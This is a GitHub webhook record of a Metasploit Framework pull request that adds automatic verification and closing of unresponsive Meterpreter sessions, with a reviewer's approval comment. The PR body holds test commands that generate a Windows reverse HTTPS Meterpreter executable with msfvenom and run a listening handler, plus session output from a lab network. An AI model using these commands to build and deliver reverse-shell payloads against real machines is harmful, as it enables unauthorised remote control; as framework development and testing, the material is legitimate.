{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5297","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5297/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5297/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5297/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5297","id":72960334,"number":5297,"title":"Track machine_id and drop \"dead\" sessions during initialization","user":{"login":"hmoore-r7","id":1171392,"avatar_url":"https://avatars.githubusercontent.com/u/1171392?v=3","gravatar_id":"","url":"https://api.github.com/users/hmoore-r7","html_url":"https://github.com/hmoore-r7","followers_url":"https://api.github.com/users/hmoore-r7/followers","following_url":"https://api.github.com/users/hmoore-r7/following{/other_user}","gists_url":"https://api.github.com/users/hmoore-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/hmoore-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hmoore-r7/subscriptions","organizations_url":"https://api.github.com/users/hmoore-r7/orgs","repos_url":"https://api.github.com/users/hmoore-r7/repos","events_url":"https://api.github.com/users/hmoore-r7/events{/privacy}","received_events_url":"https://api.github.com/users/hmoore-r7/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/meterpreter","name":"meterpreter","color":"5319e7"}],"state":"open","locked":false,"assignee":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"milestone":null,"comments":3,"created_at":"2015-05-04T08:34:57Z","updated_at":"2015-05-05T07:12:27Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5297","html_url":"https://github.com/rapid7/metasploit-framework/pull/5297","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5297.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5297.patch"},"body":"The patch brings together a few related items:\r\n * Pulls in PR #5295 as a base due to potential conflicts\r\n * Reworks session verbose listing to no longer use tables (much more readable)\r\n * Exposes a timeout parameter for the ```session.core.machine_id``` method\r\n * Adds ```AutoVerifySession``` and enables it by default, which vets that sessions are responsive, and closes them otherwise.\r\n\r\nThe ```AutoVerifySession``` option causes Metasploit to query the machine_id first thing during Meterpreter session setup (post-session creation). If the remote Meterpreter doesn't respond with a machine_id or an error message, the session is considered dead and will be closed.\r\n\r\nThis is necessary to support the ```StagerVerifySSLCert``` functionality, since otherwise we end up with dead sessions. Testing this looks something like:\r\n\r\n```\r\n$ ./msfvenom -f exe -p windows/meterpreter/reverse_winhttps LHOST=192.168.0.3 LPORT=4444 HandlerSSLCert=./test.pem StagerVerifySSLCert=true -o /scratch/r_https_verify.exe\r\n$ ./msfconsole -q\r\n\r\nmsf > use exploit/multi/handler\r\nmsf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_winhttps\r\nmsf exploit(handler) > set LHOST 192.168.0.3\r\nmsf exploit(handler) > set LPORT 4444\r\nmsf exploit(handler) > run -j\r\n[*] Exploit running as background job.\r\n\r\n[*] 192.168.0.6:7767 (UUID: be95589458bab6e6/x86=1/windows=1/2015-05-04T08:19:10Z) Staging Native payload ...\r\n[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.6:7767) at 2015-05-04 03:29:10 -0500\r\n[-] Meterpreter session 1 is not valid and will be closed\r\n[*] 192.168.0.6 - Meterpreter session 1 closed.\r\n```\r\n\r\nBefore a session is scrubbed, it will show with missing fields in the ```sessions -l -v``` output:\r\n```\r\nActive sessions\r\n===============\r\n\r\n  Session ID: 2\r\n        Type: meterpreter x86/win32\r\n        Info: \r\n      Tunnel: 192.168.0.3:4444 -> 192.168.0.6:7772 (192.168.0.6)\r\n         Via: exploit/multi/handler\r\n        UUID: be95589458bab6e6/x86=1/windows=1/2015-05-04T08:19:10Z\r\n   MachineID: \r\n     CheckIn: <none>\r\n```\r\n\r\nIf we configure out handler with the right SSL certificate, the session stays alive:\r\n```\r\nmsf exploit(handler) > set HandlerSSLCert ./test.pem\r\nmsf exploit(handler) > set StagerVerifySSLCert true\r\nmsf exploit(handler) > jobs  -K\r\nmsf exploit(handler) > run -j\r\n\r\n[*] Meterpreter will verify SSL Certificate with SHA1 hash 438b489f80da528f1b4d476b1937c85eaf433870\r\n[*] Exploit running as background job.\r\n\r\n[*] Starting the payload handler...\r\n[*] 192.168.0.6:7780 (UUID: be95589458bab6e6/x86=1/windows=1/2015-05-04T08:19:10Z) Staging Native payload ...\r\n[*] Meterpreter will verify SSL Certificate with SHA1 hash 438b489f80da528f1b4d476b1937c85eaf433870\r\n[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.6:7780) at 2015-05-04 03:34:04 -0500\r\n\r\nmsf exploit(handler) > sessions -l -v\r\n\r\nActive sessions\r\n===============\r\n\r\n  Session ID: 1\r\n        Type: meterpreter x86/win32\r\n        Info: z420\\Developer @ Z420\r\n      Tunnel: 192.168.0.3:4444 -> 192.168.0.6:7780 (192.168.0.6)\r\n         Via: exploit/multi/handler\r\n        UUID: be95589458bab6e6/x86=1/windows=1/2015-05-04T08:19:10Z\r\n   MachineID: 527ff1340d3e81e2731522564aefa118\r\n     CheckIn: 1s ago @ 2015-05-04 03:34:34 -0500\r\n\r\n```\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/98978731","html_url":"https://github.com/rapid7/metasploit-framework/pull/5297#issuecomment-98978731","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5297","id":98978731,"user":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"created_at":"2015-05-05T07:12:27Z","updated_at":"2015-05-05T07:12:27Z","body":"This all looks good to me. Landing."}}